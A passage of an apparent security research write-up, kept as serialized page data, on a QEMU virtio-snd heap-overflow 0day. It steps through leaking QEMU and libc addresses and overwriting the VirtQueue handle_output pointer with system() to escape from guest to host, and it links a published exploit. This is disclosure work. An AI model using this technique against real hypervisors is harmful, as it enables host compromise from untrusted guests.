stream_id;\n",{"type":23,"tag":41,"props":130443,"children":130444},{"class":43,"line":195},[130445],{"type":23,"tag":41,"props":130446,"children":130447},{"emptyLinePlaceholder":18},[130448],{"type":28,"value":82},{"type":23,"tag":41,"props":130450,"children":130451},{"class":43,"line":905},[130452],{"type":23,"tag":41,"props":130453,"children":130454},{"style":70},[130455],{"type":28,"value":104519},{"type":23,"tag":41,"props":130457,"children":130458},{"class":43,"line":922},[130459],{"type":23,"tag":41,"props":130460,"children":130461},{"emptyLinePlaceholder":18},[130462],{"type":28,"value":82},{"type":23,"tag":41,"props":130464,"children":130465},{"class":43,"line":930},[130466,130470],{"type":23,"tag":41,"props":130467,"children":130468},{"style":58},[130469],{"type":28,"value":3034},{"type":23,"tag":41,"props":130471,"children":130472},{"style":70},[130473],{"type":28,"value":123644},{"type":23,"tag":41,"props":130475,"children":130476},{"class":43,"line":939},[130477,130481,130485],{"type":23,"tag":41,"props":130478,"children":130479},{"style":70},[130480],{"type":28,"value":123652},{"type":23,"tag":41,"props":130482,"children":130483},{"style":170},[130484],{"type":28,"value":377},{"type":23,"tag":41,"props":130486,"children":130487},{"style":70},[130488],{"type":28,"value":123661},{"type":23,"tag":41,"props":130490,"children":130491},{"class":43,"line":947},[130492],{"type":23,"tag":41,"props":130493,"children":130494},{"emptyLinePlaceholder":18},[130495],{"type":28,"value":82},{"type":23,"tag":41,"props":130497,"children":130498},{"class":43,"line":985},[130499,130503,130507,130511,130515,130519],{"type":23,"tag":41,"props":130500,"children":130501},{"style":70},[130502],{"type":28,"value":123676},{"type":23,"tag":41,"props":130504,"children":130505},{"style":170},[130506],{"type":28,"value":2381},{"type":23,"tag":41,"props":130508,"children":130509},{"style":114},[130510],{"type":28,"value":123685},{"type":23,"tag":41,"props":130512,"children":130513},{"style":70},[130514],{"type":28,"value":123690},{"type":23,"tag":41,"props":130516,"children":130517},{"style":64},[130518],{"type":28,"value":55323},{"type":23,"tag":41,"props":130520,"children":130521},{"style":70},[130522],{"type":28,"value":130523},"(VirtQueueElement));\n",{"type":23,"tag":41,"props":130525,"children":130526},{"class":43,"line":1058},[130527,130531,130535,130539],{"type":23,"tag":41,"props":130528,"children":130529},{"style":58},[130530],{"type":28,"value":3272},{"type":23,"tag":41,"props":130532,"children":130533},{"style":70},[130534],{"type":28,"value":142},{"type":23,"tag":41,"props":130536,"children":130537},{"style":170},[130538],{"type":28,"value":2630},{"type":23,"tag":41,"props":130540,"children":130541},{"style":70},[130542],{"type":28,"value":123724},{"type":23,"tag":41,"props":130544,"children":130545},{"class":43,"line":1084},[130546,130550],{"type":23,"tag":41,"props":130547,"children":130548},{"style":58},[130549],{"type":28,"value":3298},{"type":23,"tag":41,"props":130551,"children":130552},{"style":70},[130553],{"type":28,"value":183},{"type":23,"tag":41,"props":130555,"children":130556},{"class":43,"line":1102},[130557],{"type":23,"tag":41,"props":130558,"children":130559},{"style":70},[130560],{"type":28,"value":3347},{"type":23,"tag":41,"props":130562,"children":130563},{"class":43,"line":1110},[130564],{"type":23,"tag":41,"props":130565,"children":130566},{"style":48},[130567],{"type":28,"value":130568},"        /* get the message hdr object */\n",{"type":23,"tag":41,"props":130570,"children":130571},{"class":43,"line":1118},[130572,130577,130581,130586,130590,130594,130598,130602],{"type":23,"tag":41,"props":130573,"children":130574},{"style":70},[130575],{"type":28,"value":130576},"        msg_sz ",{"type":23,"tag":41,"props":130578,"children":130579},{"style":170},[130580],{"type":28,"value":2381},{"type":23,"tag":41,"props":130582,"children":130583},{"style":114},[130584],{"type":28,"value":130585}," iov_to_buf",{"type":23,"tag":41,"props":130587,"children":130588},{"style":70},[130589],{"type":28,"value":1737},{"type":23,"tag":41,"props":130591,"children":130592},{"style":858},[130593],{"type":28,"value":52059},{"type":23,"tag":41,"props":130595,"children":130596},{"style":70},[130597],{"type":28,"value":2453},{"type":23,"tag":41,"props":130599,"children":130600},{"style":858},[130601],{"type":28,"value":124128},{"type":23,"tag":41,"props":130603,"children":130604},{"style":70},[130605],{"type":28,"value":3506},{"type":23,"tag":41,"props":130607,"children":130608},{"class":43,"line":1137},[130609,130614,130618,130623],{"type":23,"tag":41,"props":130610,"children":130611},{"style":858},[130612],{"type":28,"value":130613},"                            elem",{"type":23,"tag":41,"props":130615,"children":130616},{"style":70},[130617],{"type":28,"value":2453},{"type":23,"tag":41,"props":130619,"children":130620},{"style":858},[130621],{"type":28,"value":130622},"out_num",{"type":23,"tag":41,"props":130624,"children":130625},{"style":70},[130626],{"type":28,"value":3506},{"type":23,"tag":41,"props":130628,"children":130629},{"class":43,"line":1163},[130630,130635],{"type":23,"tag":41,"props":130631,"children":130632},{"style":164},[130633],{"type":28,"value":130634},"                            0",{"type":23,"tag":41,"props":130636,"children":130637},{"style":70},[130638],{"type":28,"value":3506},{"type":23,"tag":41,"props":130640,"children":130641},{"class":43,"line":1188},[130642,130647],{"type":23,"tag":41,"props":130643,"children":130644},{"style":170},[130645],{"type":28,"value":130646},"                            &",{"type":23,"tag":41,"props":130648,"children":130649},{"style":70},[130650],{"type":28,"value":130651},"hdr,\n",{"type":23,"tag":41,"props":130653,"children":130654},{"class":43,"line":1979},[130655,130660],{"type":23,"tag":41,"props":130656,"children":130657},{"style":64},[130658],{"type":28,"value":130659},"                            sizeof",{"type":23,"tag":41,"props":130661,"children":130662},{"style":70},[130663],{"type":28,"value":130664},"(virtio_snd_pcm_xfer));\n",{"type":23,"tag":41,"props":130666,"children":130667},{"class":43,"line":2002},[130668,130672,130677,130681,130686],{"type":23,"tag":41,"props":130669,"children":130670},{"style":58},[130671],{"type":28,"value":3272},{"type":23,"tag":41,"props":130673,"children":130674},{"style":70},[130675],{"type":28,"value":130676}," (msg_sz ",{"type":23,"tag":41,"props":130678,"children":130679},{"style":170},[130680],{"type":28,"value":15679},{"type":23,"tag":41,"props":130682,"children":130683},{"style":64},[130684],{"type":28,"value":130685}," sizeof",{"type":23,"tag":41,"props":130687,"children":130688},{"style":70},[130689],{"type":28,"value":130690},"(virtio_snd_pcm_xfer)) {\n",{"type":23,"tag":41,"props":130692,"children":130693},{"class":43,"line":3835},[130694,130698],{"type":23,"tag":41,"props":130695,"children":130696},{"style":58},[130697],{"type":28,"value":60546},{"type":23,"tag":41,"props":130699,"children":130700},{"style":70},[130701],{"type":28,"value":130702}," rx_err;\n",{"type":23,"tag":41,"props":130704,"children":130705},{"class":43,"line":3895},[130706],{"type":23,"tag":41,"props":130707,"children":130708},{"style":70},[130709],{"type":28,"value":3347},{"type":23,"tag":41,"props":130711,"children":130712},{"class":43,"line":9044},[130713,130718,130722,130726,130730,130735,130739,130744],{"type":23,"tag":41,"props":130714,"children":130715},{"style":70},[130716],{"type":28,"value":130717},"        stream_id ",{"type":23,"tag":41,"props":130719,"children":130720},{"style":170},[130721],{"type":28,"value":2381},{"type":23,"tag":41,"props":130723,"children":130724},{"style":114},[130725],{"type":28,"value":125590},{"type":23,"tag":41,"props":130727,"children":130728},{"style":70},[130729],{"type":28,"value":1737},{"type":23,"tag":41,"props":130731,"children":130732},{"style":858},[130733],{"type":28,"value":130734},"hdr",{"type":23,"tag":41,"props":130736,"children":130737},{"style":70},[130738],{"type":28,"value":706},{"type":23,"tag":41,"props":130740,"children":130741},{"style":858},[130742],{"type":28,"value":130743},"stream_id",{"type":23,"tag":41,"props":130745,"children":130746},{"style":70},[130747],{"type":28,"value":3825},{"type":23,"tag":41,"props":130749,"children":130750},{"class":43,"line":9061},[130751],{"type":23,"tag":41,"props":130752,"children":130753},{"emptyLinePlaceholder":18},[130754],{"type":28,"value":82},{"type":23,"tag":41,"props":130756,"children":130757},{"class":43,"line":9106},[130758],{"type":23,"tag":41,"props":130759,"children":130760},{"style":70},[130761],{"type":28,"value":123757},{"type":23,"tag":41,"props":130763,"children":130764},{"class":43,"line":9212},[130765],{"type":23,"tag":41,"props":130766,"children":130767},{"emptyLinePlaceholder":18},[130768],{"type":28,"value":82},{"type":23,"tag":41,"props":130770,"children":130771},{"class":43,"line":23496},[130772,130776,130780,130784,130788,130792,130796],{"type":23,"tag":41,"props":130773,"children":130774},{"style":114},[130775],{"type":28,"value":123772},{"type":23,"tag":41,"props":130777,"children":130778},{"style":70},[130779],{"type":28,"value":1737},{"type":23,"tag":41,"props":130781,"children":130782},{"style":170},[130783],{"type":28,"value":855},{"type":23,"tag":41,"props":130785,"children":130786},{"style":858},[130787],{"type":28,"value":36256},{"type":23,"tag":41,"props":130789,"children":130790},{"style":70},[130791],{"type":28,"value":2453},{"type":23,"tag":41,"props":130793,"children":130794},{"style":858},[130795],{"type":28,"value":123793},{"type":23,"tag":41,"props":130797,"children":130798},{"style":70},[130799],{"type":28,"value":152},{"type":23,"tag":41,"props":130801,"children":130802},{"class":43,"line":23531},[130803,130807,130811,130815,130819,130823,130827,130831,130835,130839,130843,130847,130851],{"type":23,"tag":41,"props":130804,"children":130805},{"style":70},[130806],{"type":28,"value":123805},{"type":23,"tag":41,"props":130808,"children":130809},{"style":170},[130810],{"type":28,"value":2381},{"type":23,"tag":41,"props":130812,"children":130813},{"style":114},[130814],{"type":28,"value":123814},{"type":23,"tag":41,"props":130816,"children":130817},{"style":70},[130818],{"type":28,"value":1737},{"type":23,"tag":41,"props":130820,"children":130821},{"style":858},[130822],{"type":28,"value":52059},{"type":23,"tag":41,"props":130824,"children":130825},{"style":70},[130826],{"type":28,"value":2453},{"type":23,"tag":41,"props":130828,"children":130829},{"style":858},[130830],{"type":28,"value":123831},{"type":23,"tag":41,"props":130832,"children":130833},{"style":70},[130834],{"type":28,"value":970},{"type":23,"tag":41,"props":130836,"children":130837},{"style":858},[130838],{"type":28,"value":52059},{"type":23,"tag":41,"props":130840,"children":130841},{"style":70},[130842],{"type":28,"value":2453},{"type":23,"tag":41,"props":130844,"children":130845},{"style":858},[130846],{"type":28,"value":123848},{"type":23,"tag":41,"props":130848,"children":130849},{"style":70},[130850],{"type":28,"value":866},{"type":23,"tag":41,"props":130852,"children":130853},{"style":170},[130854],{"type":28,"value":50856},{"type":23,"tag":41,"props":130856,"children":130857},{"class":43,"line":23539},[130858,130862],{"type":23,"tag":41,"props":130859,"children":130860},{"style":64},[130861],{"type":28,"value":123864},{"type":23,"tag":41,"props":130863,"children":130864},{"style":70},[130865],{"type":28,"value":130866},"(virtio_snd_pcm_status);\n",{"type":23,"tag":41,"props":130868,"children":130869},{"class":43,"line":23547},[130870,130874,130878,130882,130886,130890,130894,130898,130903],{"type":23,"tag":41,"props":130871,"children":130872},{"style":70},[130873],{"type":28,"value":123882},{"type":23,"tag":41,"props":130875,"children":130876},{"style":170},[130877],{"type":28,"value":2381},{"type":23,"tag":41,"props":130879,"children":130880},{"style":114},[130881],{"type":28,"value":123891},{"type":23,"tag":41,"props":130883,"children":130884},{"style":70},[130885],{"type":28,"value":1737},{"type":23,"tag":41,"props":130887,"children":130888},{"style":64},[130889],{"type":28,"value":55323},{"type":23,"tag":41,"props":130891,"children":130892},{"style":70},[130893],{"type":28,"value":123904},{"type":23,"tag":41,"props":130895,"children":130896},{"style":170},[130897],{"type":28,"value":4383},{"type":23,"tag":41,"props":130899,"children":130900},{"style":70},[130901],{"type":28,"value":130902}," size);",{"type":23,"tag":41,"props":130904,"children":130905},{"style":48},[130906],{"type":28,"value":130907},"    // [1]\n",{"type":23,"tag":41,"props":130909,"children":130910},{"class":43,"line":23556},[130911,130915,130919,130923,130927],{"type":23,"tag":41,"props":130912,"children":130913},{"style":858},[130914],{"type":28,"value":123921},{"type":23,"tag":41,"props":130916,"children":130917},{"style":70},[130918],{"type":28,"value":2453},{"type":23,"tag":41,"props":130920,"children":130921},{"style":858},[130922],{"type":28,"value":52059},{"type":23,"tag":41,"props":130924,"children":130925},{"style":170},[130926],{"type":28,"value":3017},{"type":23,"tag":41,"props":130928,"children":130929},{"style":70},[130930],{"type":28,"value":123938},{"type":23,"tag":41,"props":130932,"children":130933},{"class":43,"line":23598},[130934,130938,130942,130946,130950,130955],{"type":23,"tag":41,"props":130935,"children":130936},{"style":858},[130937],{"type":28,"value":123921},{"type":23,"tag":41,"props":130939,"children":130940},{"style":70},[130941],{"type":28,"value":2453},{"type":23,"tag":41,"props":130943,"children":130944},{"style":858},[130945],{"type":28,"value":123590},{"type":23,"tag":41,"props":130947,"children":130948},{"style":170},[130949],{"type":28,"value":3017},{"type":23,"tag":41,"props":130951,"children":130952},{"style":70},[130953],{"type":28,"value":130954}," vq;",{"type":23,"tag":41,"props":130956,"children":130957},{"style":48},[130958],{"type":28,"value":130959},"                                            // [2]\n",{"type":23,"tag":41,"props":130961,"children":130962},{"class":43,"line":23631},[130963,130967,130971,130975,130979,130983],{"type":23,"tag":41,"props":130964,"children":130965},{"style":858},[130966],{"type":28,"value":123921},{"type":23,"tag":41,"props":130968,"children":130969},{"style":70},[130970],{"type":28,"value":2453},{"type":23,"tag":41,"props":130972,"children":130973},{"style":858},[130974],{"type":28,"value":123978},{"type":23,"tag":41,"props":130976,"children":130977},{"style":170},[130978],{"type":28,"value":3017},{"type":23,"tag":41,"props":130980,"children":130981},{"style":164},[130982],{"type":28,"value":392},{"type":23,"tag":41,"props":130984,"children":130985},{"style":70},[130986],{"type":28,"value":183},{"type":23,"tag":41,"props":130988,"children":130989},{"class":43,"line":23639},[130990,130994,130998,131002,131006,131010],{"type":23,"tag":41,"props":130991,"children":130992},{"style":858},[130993],{"type":28,"value":123921},{"type":23,"tag":41,"props":130995,"children":130996},{"style":70},[130997],{"type":28,"value":2453},{"type":23,"tag":41,"props":130999,"children":131000},{"style":858},[131001],{"type":28,"value":13895},{"type":23,"tag":41,"props":131003,"children":131004},{"style":170},[131005],{"type":28,"value":3017},{"type":23,"tag":41,"props":131007,"children":131008},{"style":164},[131009],{"type":28,"value":392},{"type":23,"tag":41,"props":131011,"children":131012},{"style":70},[131013],{"type":28,"value":183},{"type":23,"tag":41,"props":131015,"children":131016},{"class":43,"line":23647},[131017,131021,131025,131029,131033,131037,131041],{"type":23,"tag":41,"props":131018,"children":131019},{"style":114},[131020],{"type":28,"value":124025},{"type":23,"tag":41,"props":131022,"children":131023},{"style":70},[131024],{"type":28,"value":1737},{"type":23,"tag":41,"props":131026,"children":131027},{"style":170},[131028],{"type":28,"value":855},{"type":23,"tag":41,"props":131030,"children":131031},{"style":858},[131032],{"type":28,"value":36256},{"type":23,"tag":41,"props":131034,"children":131035},{"style":70},[131036],{"type":28,"value":2453},{"type":23,"tag":41,"props":131038,"children":131039},{"style":858},[131040],{"type":28,"value":124046},{"type":23,"tag":41,"props":131042,"children":131043},{"style":70},[131044],{"type":28,"value":131045},", buffer, entry);\n",{"type":23,"tag":41,"props":131047,"children":131048},{"class":43,"line":23656},[131049],{"type":23,"tag":41,"props":131050,"children":131051},{"style":70},[131052],{"type":28,"value":3347},{"type":23,"tag":24,"props":131054,"children":131055},{},[131056,131057,131062,131064,131069,131071,131076,131078,131084],{"type":28,"value":124100},{"type":23,"tag":37,"props":131058,"children":131060},{"className":131059},[],[131061],{"type":28,"value":124106},{"type":28,"value":131063},", QEMU allocates a ",{"type":23,"tag":37,"props":131065,"children":131067},{"className":131066},[],[131068],{"type":28,"value":124243},{"type":28,"value":131070}," whose size depends on the guest-provided iovec, and at ",{"type":23,"tag":37,"props":131072,"children":131074},{"className":131073},[],[131075],{"type":28,"value":124141},{"type":28,"value":131077}," it stores the ",{"type":23,"tag":37,"props":131079,"children":131081},{"className":131080},[],[131082],{"type":28,"value":131083},"VirtQueue *vq",{"type":28,"value":131085}," pointer into the buffer.",{"type":23,"tag":24,"props":131087,"children":131088},{},[131089,131090,131096],{"type":28,"value":64212},{"type":23,"tag":37,"props":131091,"children":131093},{"className":131092},[],[131094],{"type":28,"value":131095},"VirtQueue",{"type":28,"value":131097}," structure contains some useful fields:",{"type":23,"tag":31,"props":131099,"children":131101},{"code":131100,"language":3146,"meta":7,"className":16503,"style":7},"struct VirtQueue\n{\n    [...]\n\n    VirtIOHandleOutput handle_output;\n    VirtIODevice *vdev;\n\n    [...]\n};\n",[131102],{"type":23,"tag":37,"props":131103,"children":131104},{"__ignoreMap":7},[131105,131117,131124,131131,131138,131146,131163,131170,131177],{"type":23,"tag":41,"props":131106,"children":131107},{"class":43,"line":44},[131108,131112],{"type":23,"tag":41,"props":131109,"children":131110},{"style":64},[131111],{"type":28,"value":9399},{"type":23,"tag":41,"props":131113,"children":131114},{"style":70},[131115],{"type":28,"value":131116}," VirtQueue\n",{"type":23,"tag":41,"props":131118,"children":131119},{"class":43,"line":54},[131120],{"type":23,"tag":41,"props":131121,"children":131122},{"style":70},[131123],{"type":28,"value":1559},{"type":23,"tag":41,"props":131125,"children":131126},{"class":43,"line":76},[131127],{"type":23,"tag":41,"props":131128,"children":131129},{"style":70},[131130],{"type":28,"value":104519},{"type":23,"tag":41,"props":131132,"children":131133},{"class":43,"line":85},[131134],{"type":23,"tag":41,"props":131135,"children":131136},{"emptyLinePlaceholder":18},[131137],{"type":28,"value":82},{"type":23,"tag":41,"props":131139,"children":131140},{"class":43,"line":105},[131141],{"type":23,"tag":41,"props":131142,"children":131143},{"style":70},[131144],{"type":28,"value":131145},"    VirtIOHandleOutput handle_output;\n",{"type":23,"tag":41,"props":131147,"children":131148},{"class":43,"line":155},[131149,131154,131158],{"type":23,"tag":41,"props":131150,"children":131151},{"style":70},[131152],{"type":28,"value":131153},"    VirtIODevice ",{"type":23,"tag":41,"props":131155,"children":131156},{"style":170},[131157],{"type":28,"value":377},{"type":23,"tag":41,"props":131159,"children":131160},{"style":70},[131161],{"type":28,"value":131162},"vdev;\n",{"type":23,"tag":41,"props":131164,"children":131165},{"class":43,"line":186},[131166],{"type":23,"tag":41,"props":131167,"children":131168},{"emptyLinePlaceholder":18},[131169],{"type":28,"value":82},{"type":23,"tag":41,"props":131171,"children":131172},{"class":43,"line":195},[131173],{"type":23,"tag":41,"props":131174,"children":131175},{"style":70},[131176],{"type":28,"value":104519},{"type":23,"tag":41,"props":131178,"children":131179},{"class":43,"line":905},[131180],{"type":23,"tag":41,"props":131181,"children":131182},{"style":70},[131183],{"type":28,"value":936},{"type":23,"tag":24,"props":131185,"children":131186},{},[131187,131188,131194,131196,131202],{"type":28,"value":16601},{"type":23,"tag":37,"props":131189,"children":131191},{"className":131190},[],[131192],{"type":28,"value":131193},".handle_output",{"type":28,"value":131195}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":23,"tag":37,"props":131197,"children":131199},{"className":131198},[],[131200],{"type":28,"value":131201},".vdev",{"type":28,"value":131203}," is the pointer passed to it as the first argument:",{"type":23,"tag":31,"props":131205,"children":131207},{"code":131206,"language":3146,"meta":7,"className":16503,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n    if (vq->vring.desc && vq->handle_output) {\n        VirtIODevice *vdev = vq->vdev;\n\n        [...]\n\n        vq->handle_output(vdev, vq);\n\n        [...]\n    }\n}\n",[131208],{"type":23,"tag":37,"props":131209,"children":131210},{"__ignoreMap":7},[131211,131244,131251,131306,131343,131350,131357,131364,131385,131392,131399,131406],{"type":23,"tag":41,"props":131212,"children":131213},{"class":43,"line":44},[131214,131218,131222,131227,131232,131236,131240],{"type":23,"tag":41,"props":131215,"children":131216},{"style":64},[131217],{"type":28,"value":51039},{"type":23,"tag":41,"props":131219,"children":131220},{"style":64},[131221],{"type":28,"value":51044},{"type":23,"tag":41,"props":131223,"children":131224},{"style":114},[131225],{"type":28,"value":131226}," virtio_queue_notify_vq",{"type":23,"tag":41,"props":131228,"children":131229},{"style":70},[131230],{"type":28,"value":131231},"(VirtQueue ",{"type":23,"tag":41,"props":131233,"children":131234},{"style":170},[131235],{"type":28,"value":377},{"type":23,"tag":41,"props":131237,"children":131238},{"style":858},[131239],{"type":28,"value":123590},{"type":23,"tag":41,"props":131241,"children":131242},{"style":70},[131243],{"type":28,"value":1969},{"type":23,"tag":41,"props":131245,"children":131246},{"class":43,"line":54},[131247],{"type":23,"tag":41,"props":131248,"children":131249},{"style":70},[131250],{"type":28,"value":1559},{"type":23,"tag":41,"props":131252,"children":131253},{"class":43,"line":76},[131254,131258,131262,131266,131270,131275,131279,131284,131288,131293,131297,131302],{"type":23,"tag":41,"props":131255,"children":131256},{"style":58},[131257],{"type":28,"value":2440},{"type":23,"tag":41,"props":131259,"children":131260},{"style":70},[131261],{"type":28,"value":142},{"type":23,"tag":41,"props":131263,"children":131264},{"style":858},[131265],{"type":28,"value":123590},{"type":23,"tag":41,"props":131267,"children":131268},{"style":70},[131269],{"type":28,"value":2453},{"type":23,"tag":41,"props":131271,"children":131272},{"style":858},[131273],{"type":28,"value":131274},"vring",{"type":23,"tag":41,"props":131276,"children":131277},{"style":70},[131278],{"type":28,"value":706},{"type":23,"tag":41,"props":131280,"children":131281},{"style":858},[131282],{"type":28,"value":131283},"desc",{"type":23,"tag":41,"props":131285,"children":131286},{"style":170},[131287],{"type":28,"value":2472},{"type":23,"tag":41,"props":131289,"children":131290},{"style":858},[131291],{"type":28,"value":131292}," vq",{"type":23,"tag":41,"props":131294,"children":131295},{"style":70},[131296],{"type":28,"value":2453},{"type":23,"tag":41,"props":131298,"children":131299},{"style":858},[131300],{"type":28,"value":131301},"handle_output",{"type":23,"tag":41,"props":131303,"children":131304},{"style":70},[131305],{"type":28,"value":152},{"type":23,"tag":41,"props":131307,"children":131308},{"class":43,"line":85},[131309,131314,131318,131323,131327,131331,131335,131339],{"type":23,"tag":41,"props":131310,"children":131311},{"style":70},[131312],{"type":28,"value":131313},"        VirtIODevice ",{"type":23,"tag":41,"props":131315,"children":131316},{"style":170},[131317],{"type":28,"value":377},{"type":23,"tag":41,"props":131319,"children":131320},{"style":70},[131321],{"type":28,"value":131322},"vdev ",{"type":23,"tag":41,"props":131324,"children":131325},{"style":170},[131326],{"type":28,"value":2381},{"type":23,"tag":41,"props":131328,"children":131329},{"style":858},[131330],{"type":28,"value":131292},{"type":23,"tag":41,"props":131332,"children":131333},{"style":70},[131334],{"type":28,"value":2453},{"type":23,"tag":41,"props":131336,"children":131337},{"style":858},[131338],{"type":28,"value":123576},{"type":23,"tag":41,"props":131340,"children":131341},{"style":70},[131342],{"type":28,"value":183},{"type":23,"tag":41,"props":131344,"children":131345},{"class":43,"line":105},[131346],{"type":23,"tag":41,"props":131347,"children":131348},{"emptyLinePlaceholder":18},[131349],{"type":28,"value":82},{"type":23,"tag":41,"props":131351,"children":131352},{"class":43,"line":155},[131353],{"type":23,"tag":41,"props":131354,"children":131355},{"style":70},[131356],{"type":28,"value":123757},{"type":23,"tag":41,"props":131358,"children":131359},{"class":43,"line":186},[131360],{"type":23,"tag":41,"props":131361,"children":131362},{"emptyLinePlaceholder":18},[131363],{"type":28,"value":82},{"type":23,"tag":41,"props":131365,"children":131366},{"class":43,"line":195},[131367,131372,131376,131380],{"type":23,"tag":41,"props":131368,"children":131369},{"style":858},[131370],{"type":28,"value":131371},"        vq",{"type":23,"tag":41,"props":131373,"children":131374},{"style":70},[131375],{"type":28,"value":2453},{"type":23,"tag":41,"props":131377,"children":131378},{"style":114},[131379],{"type":28,"value":131301},{"type":23,"tag":41,"props":131381,"children":131382},{"style":70},[131383],{"type":28,"value":131384},"(vdev, vq);\n",{"type":23,"tag":41,"props":131386,"children":131387},{"class":43,"line":905},[131388],{"type":23,"tag":41,"props":131389,"children":131390},{"emptyLinePlaceholder":18},[131391],{"type":28,"value":82},{"type":23,"tag":41,"props":131393,"children":131394},{"class":43,"line":922},[131395],{"type":23,"tag":41,"props":131396,"children":131397},{"style":70},[131398],{"type":28,"value":123757},{"type":23,"tag":41,"props":131400,"children":131401},{"class":43,"line":930},[131402],{"type":23,"tag":41,"props":131403,"children":131404},{"style":70},[131405],{"type":28,"value":192},{"type":23,"tag":41,"props":131407,"children":131408},{"class":43,"line":939},[131409],{"type":23,"tag":41,"props":131410,"children":131411},{"style":70},[131412],{"type":28,"value":201},{"type":23,"tag":24,"props":131414,"children":131415},{},[131416,131418,131423,131425,131430,131432,131438,131440,131445,131446,131451,131453,131458],{"type":28,"value":131417},"This means that if we free the known-address chunk and replace it with a ",{"type":23,"tag":37,"props":131419,"children":131421},{"className":131420},[],[131422],{"type":28,"value":124243},{"type":28,"value":131424}," - which is straightforward, since we control the buffer allocation size through the ",{"type":23,"tag":37,"props":131426,"children":131428},{"className":131427},[],[131429],{"type":28,"value":123831},{"type":28,"value":131431}," iovec - we can use the arbitrary read primitive to read its ",{"type":23,"tag":37,"props":131433,"children":131435},{"className":131434},[],[131436],{"type":28,"value":131437},".vq",{"type":28,"value":131439}," pointer, then follow that pointer to leak ",{"type":23,"tag":37,"props":131441,"children":131443},{"className":131442},[],[131444],{"type":28,"value":131193},{"type":28,"value":16041},{"type":23,"tag":37,"props":131447,"children":131449},{"className":131448},[],[131450],{"type":28,"value":131095},{"type":28,"value":131452}," structure. In our case, that field points to ",{"type":23,"tag":37,"props":131454,"children":131456},{"className":131455},[],[131457],{"type":28,"value":123483},{"type":28,"value":131459},", which gives us QEMU's base address.",{"type":23,"tag":24,"props":131461,"children":131462},{},[131463,131465,131471],{"type":28,"value":131464},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":23,"tag":37,"props":131466,"children":131468},{"className":131467},[],[131469],{"type":28,"value":131470},"system",{"type":28,"value":706},{"type":23,"tag":546,"props":131473,"children":131475},{"id":131474},"rip-control",[131476],{"type":28,"value":131477},"RIP Control",{"type":23,"tag":24,"props":131479,"children":131480},{},[131481,131483,131488,131490,131496],{"type":28,"value":131482},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":23,"tag":37,"props":131484,"children":131486},{"className":131485},[],[131487],{"type":28,"value":131470},{"type":28,"value":131489},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":23,"tag":37,"props":131491,"children":131493},{"className":131492},[],[131494],{"type":28,"value":131495},"VirtQueue.handle_output",{"type":28,"value":706},{"type":23,"tag":24,"props":131498,"children":131499},{},[131500,131502,131507,131509,131514,131516,131521],{"type":28,"value":131501},"We overwrite ",{"type":23,"tag":37,"props":131503,"children":131505},{"className":131504},[],[131506],{"type":28,"value":131193},{"type":28,"value":131508}," with the address of ",{"type":23,"tag":37,"props":131510,"children":131512},{"className":131511},[],[131513],{"type":28,"value":131470},{"type":28,"value":131515}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":23,"tag":37,"props":131517,"children":131519},{"className":131518},[],[131520],{"type":28,"value":131201},{"type":28,"value":131522}," with the address of that command string, so it is passed as the first argument.",{"type":23,"tag":24,"props":131524,"children":131525},{},[131526,131528,131534,131536,131542,131544,131550],{"type":28,"value":131527},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":23,"tag":37,"props":131529,"children":131531},{"className":131530},[],[131532],{"type":28,"value":131533},"virtio_queue_notify_vq",{"type":28,"value":131535},", which calls ",{"type":23,"tag":37,"props":131537,"children":131539},{"className":131538},[],[131540],{"type":28,"value":131541},"vq->handle_output(vq->vdev)",{"type":28,"value":131543}," - or, after our overwrites, ",{"type":23,"tag":37,"props":131545,"children":131547},{"className":131546},[],[131548],{"type":28,"value":131549},"system(command)",{"type":28,"value":706},{"type":23,"tag":24,"props":131552,"children":131553},{},[131554,131556,131562,131564],{"type":28,"value":131555},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":23,"tag":37,"props":131557,"children":131559},{"className":131558},[],[131560],{"type":28,"value":131561},"gnome-calculator",{"type":28,"value":131563}," on the host system:\n",{"type":23,"tag":30962,"props":131565,"children":131566},{},[],{"type":23,"tag":131568,"props":131569,"children":131578},"tweet-card",{"author-name":131570,"date":131571,"duration":131572,"handle":131573,"media-mime-type":131574,"media-src":131575,"media-type":131576,"tweet-url":131577},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[131579,131584,131589],{"type":23,"tag":24,"props":131580,"children":131581},{},[131582],{"type":28,"value":131583},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":23,"tag":24,"props":131585,"children":131586},{},[131587],{"type":28,"value":131588},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":23,"tag":24,"props":131590,"children":131591},{},[131592],{"type":28,"value":131593},"Writeup coming next week.",{"type":23,"tag":30962,"props":131595,"children":131596},{},[],{"type":23,"tag":24,"props":131598,"children":131599},{},[131600,131602,131608,131610,131616],{"type":28,"value":131601},"The final exploit, targeting QEMU commit ",{"type":23,"tag":37,"props":131603,"children":131605},{"className":131604},[],[131606],{"type":28,"value":131607},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":28,"value":131609}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":23,"tag":458,"props":131611,"children":131614},{"href":131612,"rel":131613},"https://github.com/otter-sec/qemu-escape",[462],[131615],{"type":28,"value":47578},{"type":28,"value":706},{"type":23,"tag":24,"props":131618,"children":131619},{},[131620,131622,131629],{"type":28,"value":131621},"Special thanks to ",{"type":23,"tag":458,"props":131623,"children":131626},{"href":131624,"rel":131625},"https://www.willsroot.io/",[462],[131627],{"type":28,"value":131628},"William Liu",{"type":28,"value":131630}," for proofreading this post and helping us polish it before publication.",{"type":23,"tag":446,"props":131632,"children":131633},{"id":2811},[131634],{"type":28,"value":2814},{"type":23,"tag":24,"props":131636,"children":131637},{},[131638],{"type":28,"value":131639},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host 